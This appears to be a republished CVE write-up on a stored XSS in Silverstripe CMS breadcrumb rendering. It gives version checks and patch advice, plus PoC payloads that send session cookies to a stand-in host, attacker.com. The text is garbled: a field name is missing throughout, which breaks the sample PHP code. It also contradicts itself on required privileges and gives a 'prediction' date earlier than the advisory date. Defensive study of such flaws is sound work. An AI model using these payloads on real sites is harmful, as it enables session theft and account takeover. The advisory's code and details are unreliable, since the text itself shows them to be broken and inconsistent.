Listen to this Post
How CVE-2026-54717 Works
Silverstripe CMS is an open source content management system written in PHP. Prior to version 6.2.1, the CMS contained a cross-site scripting (XSS) vulnerability within the breadcrumb navigation when rendered in the page list view.
The vulnerability stems from improper output escaping of page s. When a user with CMS access creates or edits a page, the page is stored in the database. Later, when an administrator or any CMS user navigates to the page list view (the hierarchical tree of all site pages), the system generates a breadcrumb trail for each page to show its location within the site structure. The page s are pulled from the database and inserted directly into the HTML of the breadcrumb trail without being sanitized or escaped.
An attacker who can create or modify page s (which requires at least CMS edit permissions) can inject malicious JavaScript code into the field. For example, a page like `` would be stored as-is. When any user (including administrators) views the page list, the breadcrumb rendering function outputs the raw into the HTML, causing the browser to execute the injected script.
The attack vector is network-based, requires low complexity, and needs user interaction—specifically, the victim must view the page list view. The attacker does not need any special privileges beyond the ability to edit page s, which is a standard CMS permission for content authors. The vulnerability is classified as a stored XSS because the payload is permanently stored on the server and executed every time the page list is viewed.
This issue affects all Silverstripe CMS installations running versions prior to 6.2.1. The Silverstripe team addressed the flaw by ensuring that page s are properly escaped using `htmlspecialchars()` or equivalent encoding before being rendered in the breadcrumb trail.
DailyCVE Form:
Platform: Silverstripe CMS
Version: < 6.2.1
Vulnerability: XSS in breadcrumbs
Severity: Moderate (CVSS 5.4)
Date: August 6, 2026
Prediction: June 24, 2026
What Undercode Say:
Analytics:
The vulnerability has a CVSS base score of 5.4 (Medium) with the vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N. Attack complexity is low, and no privileges are required for exploitation, but user interaction is mandatory. The impact on confidentiality and integrity is low, with no availability impact. This XSS can be used to steal session cookies, perform actions on behalf of the victim, or deface the CMS interface.
Bash Commands to Check Version:
Check installed Silverstripe CMS version via composer composer show silverstripe/cms | grep versions Or check the version constant in the codebase grep -r "CMS_VERSION" /path/to/silverstripe/ Check via framework module php /path/to/silverstripe/framework/cli-script.php dev/build --dry-run | grep "Silverstripe CMS"
Code Snippet (Vulnerable Code):
// Vulnerable rendering in Silverstripe < 6.2.1
public function getBreadcrumb() {
$crumbs = [];
foreach ($this->getAncestors() as $ancestor) {
// Page is output raw — UNSAFE
$crumbs[] = '<a href="' . $ancestor->Link() . '">' . $ancestor-> . '</a>';
}
return implode(' » ', $crumbs);
}
Code Snippet (Patched Code in 6.2.1):
// Patched rendering — is escaped
public function getBreadcrumb() {
$crumbs = [];
foreach ($this->getAncestors() as $ancestor) {
$safe = htmlspecialchars($ancestor->, ENT_QUOTES, 'UTF-8');
$crumbs[] = '<a href="' . $ancestor->Link() . '">' . $safe . '</a>';
}
return implode(' » ', $crumbs);
}
PoC Payload (Page ):
<script>fetch('//attacker.com/steal?cookie='+document.cookie)</script>
Exploit:
To exploit this vulnerability, an attacker must have CMS access to create or edit a page. The attacker sets the page to a malicious JavaScript payload, such as:
<img src=x onerror="alert('XSS')">
or
<script>document.location='//attacker.com/log?c='+document.cookie</script>
When any CMS user (including administrators) views the page list view (e.g., /admin/pages), the breadcrumb trail for that page is rendered with the unescaped , executing the script in the victim’s browser. The XSS runs in the context of the admin session, allowing the attacker to steal session tokens, perform CSRF attacks, or modify CMS content.
Protection:
- Immediate Upgrade: Update Silverstripe CMS to version 6.2.1 or later.
composer require silverstripe/cms:^6.2.1 composer update silverstripe/cms
- Apply Security Patch: If upgrading is not immediately possible, backport the fix by escaping all page s in the breadcrumb template using `htmlspecialchars()` or the Silverstripe `$.XML` template syntax.
- Input Validation: Implement strict validation on page s to reject HTML tags and JavaScript events.
- Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of any XSS injection.
- Least Privilege: Restrict CMS edit permissions to only trusted users to reduce the attack surface.
Impact:
- Confidentiality: Low — attacker can steal session cookies and view sensitive CMS data.
- Integrity: Low — attacker can perform actions on behalf of the victim, such as modifying page content or creating new admin users.
- Availability: None — the vulnerability does not cause denial of service.
- Business Impact: For organizations using Silverstripe CMS, this XSS can lead to account takeover, data leakage, and reputational damage if exploited by a malicious insider or via a compromised low-privilege account. The moderate severity reflects the requirement for user interaction and the need for CMS access to inject the payload.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
